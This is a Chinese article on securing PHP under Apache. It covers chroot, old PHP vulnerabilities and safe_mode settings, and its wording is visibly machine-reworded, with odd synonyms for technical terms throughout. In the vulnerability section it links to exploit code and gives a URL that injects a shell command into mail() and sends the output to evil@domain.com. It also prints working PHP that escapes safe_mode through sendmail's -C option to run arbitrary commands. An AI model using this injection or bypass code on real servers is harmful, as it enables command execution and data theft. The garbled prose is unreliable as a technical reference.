您当时的方位:主页 > 言语编程 > PHP

安全装备你的PHP

2014-08-18  www.codeforacause.net
  一、Web服务器安全

  PHP其实不过是Web服务器的一个模块功用,所以首先要确保Web服务器的安全。当然Web服务器要安全又有必要是先确保体系安全,这样就扯远了,无穷无尽。PHP能够和各种Web服务器结合,这儿也只评论Apache。十分主张以chroot方法装置发动Apache,这样即便Apache和PHP及其脚本呈现缝隙,受影响的也只要这个禁闭的体系,不会损害实践体系。可是运用chroot的Apache后,给运用也会带来必定的费事,比方衔接mysql时有必要用127.0.0.1地址运用tcp衔接而不能用localhost完成socket衔接,这在功率上会略微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:



  [mail function]



  ; For Win32 only.



  SMTP = localhost



  ; For Win32 only.



  sendmail_from = me@localhost.com



  都是针对Win32渠道,所以需求在chroot环境下调整好sendmail。

  二、PHP本身问题

  1、长途溢出

  PHP-4.1.2以下的一切版别都存在文件上传长途缓冲区溢出缝隙,并且进犯程序现已广泛撒播,成功率十分高:

  http://packetstormsecurity.org/0204-exploits/7350fun

  http://hsj.shadowpenguin.org/misc/php3018_exp.txt

  2、长途拒绝服务

  PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST恳求处理长途缝隙,尽管不能取得本地用户权限,可是也能形成拒绝服务。

  3、safe_mode绕过缝隙

  还有PHP-4.2.2以下到PHP-4.0.5版别都存在PHP mail函数绕过safe_mode约束履行指令缝隙,4.0.5版别开端mail函数增加了第五个参数,因为设计者考虑不周能够打破safe_mode的约束履行指令。其间4.0.5版别打破十分简略,只需用分号离隔后边加shell指令就能够了,比方存在PHP脚本evil.php:

   mail("foo@bar,"foo","bar","",$bar);

  履行如下的URL:

  http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com

  这将id履行的成果发送给evil@domain.com。

  关于4.0.6至4.2.2的PHP打破safe_mode约束其实是利用了sendmail的-C参数,所以体系有必要是运用sendmail。如下的代码能够打破safe_mode约束履行指令:



  



  #留意,下面这两个有必要是不存在的,



  或许它们的属主和本脚本的属主是相同



  $script="/tmp/script123";



  $cf="/tmp/cf123";



  $fd = fopen($cf, "w");



  fwrite($fd, "OQ/tm



  Sparse=0



  R$*" . chr(9) . "$#local $@ $1 $: $1



  Mlocal, P=/bin/sh, A=sh $script");



  fclose($fd);



  $fd = fopen($script, "w");



  fwrite($fd, "rm -f $script $cf; ");



  fwrite($fd, $cmd);



  fclose($fd);



  mail("nobody", "", "", "", "-C$cf");



  

  仍是运用以上有问题版别PHP的用户必定要及时升级到最新版别,这样才干消除根本的安全问题。

  三、PHP本身的安全装备

  PHP的装备十分灵敏,能够经过php.ini, httpd.conf, .htaccess文件(该目录有必要设置了AllowOverride All或Options)进行设置,还能够在脚本程序里运用ini_set()及其他的特定的函数进行设置。经过phpinfo()和get_cfg_var()函数能够得到装备选项的各个值。

  假如装备选项是仅有PHP_INI_SYSTEM特点的,有必要经过php.ini和httpd.conf来修正,它们修正的是PHP的Master值,但修正之后有必要重启apache才干收效。其间php.ini设置的选项是对Web服务器一切脚本收效,httpd.conf里设置的选项是对该界说的目录下一切脚本收效。

  假如还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL特点的选项就能够运用.htaccess文件设置,也能够经过在脚本程序本身用ini_set()函数设定,它们修正的是Local值,改了今后立刻收效。可是.htaccess只对当时目录的脚本程序收效,ini_set()函数只对该脚本程序设置ini_set()函数今后的代码收效。各个版别的选项特点或许不尽相同,能够用如下指令查找当时源代码的main.c文件得到一切的选项,以及它的特点:

  # grep PHP_INI_ /PHP_SRC/main/main.c



  在评论PHP安全装备之前,应该好好了解PHP的safe_mode形式。

  1、safe_mode

  safe_mode是仅有PHP_INI_SYSTEM特点,有必要经过php.ini或httpd.conf来设置。要启用safe_mode,只需修正php.ini:

  safe_mode = On



  或许修正httpd.conf,界说目录:



  

   Options FollowSymLinks



   php_admin_value safe_mode 1



  

  重启apache后safe_mode就收效了。发动safe_mode,会对许多PHP函数进行约束,特别是和体系相关的文件翻开、指令履行等函数。

  一切操作文件的函数将只能操作与脚本UID相同的文件,比方test.php脚本的内容为:

  include("index.html")

  几个文件的特点如下:



  # ls -la



  total 13



  drwxr-xr-x 2 root root 104 Jul 20 01:25 .



  drwxr-xr-x 16 root root 384 Jul 18 12:02 ..



  -rw-r--r-- 1 root root 4110 Oct 26 2002 index.html



  -rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.ph



  在浏览器恳求test.php会提示如下的错误信息:

  Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

  假如被操作文件地点目录的UID和脚本UID共同,那么该文件的UID即便和脚本不同也能够拜访的,不知这是否是PHP的一个缝隙仍是另有隐情。所以php脚本属主这个用户最好就只作这个用处,肯定制止运用root做为php脚本的属主,这样就达不到safe_mode的作用了。

  假如想将其放宽到GID比较,则翻开 safe_mode_gid能够考虑只比较文件的GID,能够设置如下选项:

  safe_mode_gid = On

  设置了safe_mode今后,一切指令履行的函数将被约束只能履行php.ini里safe_mode_exec_dir指定目录里的程序,并且shell_exec、`ls -l`这种履行指令的方法会被制止。假如的确需求调用其它程序,能够在php.ini做如下设置:

  safe_mode_exec_dir = /usr/local/php/exec

  然后复制程序到该目录,那么php脚本就能够用system等函数来履行该程序。并且该目录里的shell脚本仍是能够调用其它目录里的体系指令。

  safe_mode_include_dir string

  当从此目录及其子目录(目录有必要在 include_path 中或许用完整途径来包括)包括文件时跳过 UID/GID 查看。

  从 PHP 4.2.0 开端,本指令能够承受和 include_path 指令相似的风格用分号离隔的途径,而不只是一个目录。

  指定的约束实践上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将答应拜访“/dir/include”和“/dir/incls”,假如它们存在。假如您期望将拜访控制在一个指定的目录,那么请在完毕加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。

  safe_mode_allowed_env_vars string

  设置某些环境变量或许是潜在的安全缺口。本指令包括有一个逗号分隔的前缀列表。在安全形式下,用户只能改动那些姓名具有在这儿供给的前缀的环境变量。默许情况下,用户只能设置以 PHP_ 最初的环境变量(例如 PHP_FOO = BAR)。

  注: 假如本指令为空,PHP 将运用户能够修正任何环境变量